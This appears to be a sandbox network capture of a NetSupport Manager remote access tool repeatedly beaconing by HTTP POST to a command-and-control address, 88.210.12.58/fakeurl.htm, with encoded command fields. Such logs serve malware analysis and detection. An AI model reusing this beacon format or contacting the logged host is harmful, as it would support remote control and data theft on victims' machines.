Dec 6, 2024 10:42:16.716398001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.813040972 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.913038015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.014139891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.114027977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.215066910 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.315043926 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.416049004 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.517040014 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.618109941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.718063116 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.818064928 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:17.919075966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.019117117 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.120098114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.221909046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.321058035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.422107935 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.523113966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.623040915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.725898981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.827882051 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:18.925028086 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.025094032 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.125045061 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.226108074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.326100111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.426079988 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.529340029 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.629038095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.730031967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.830063105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:19.931035042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.031002998 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.131031036 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.232052088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.333117962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.434047937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.537880898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.636087894 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.736150026 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.836092949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:20.937055111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.037062883 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.140119076 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.238065958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.338036060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.439054012 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.539055109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.640048981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.740086079 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.841044903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:21.960107088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.161868095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.272059917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.373897076 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.473900080 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.572053909 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.673078060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.773027897 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.873040915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:22.976048946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.075961113 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.175035000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.276098967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.377087116 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.478044987 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.580993891 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.682069063 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.783071041 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.884304047 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:23.985188007 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:24.085130930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:24.185046911 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:24.288068056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:24.388735056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:24.487039089 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:24.587085009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:24.743958950 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.184459925 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.285053968 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.386054039 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.487051010 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.587198019 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.688086987 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.788072109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.889060020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:25.989101887 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.090110064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.190098047 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.290221930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.392071009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:26.491385937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
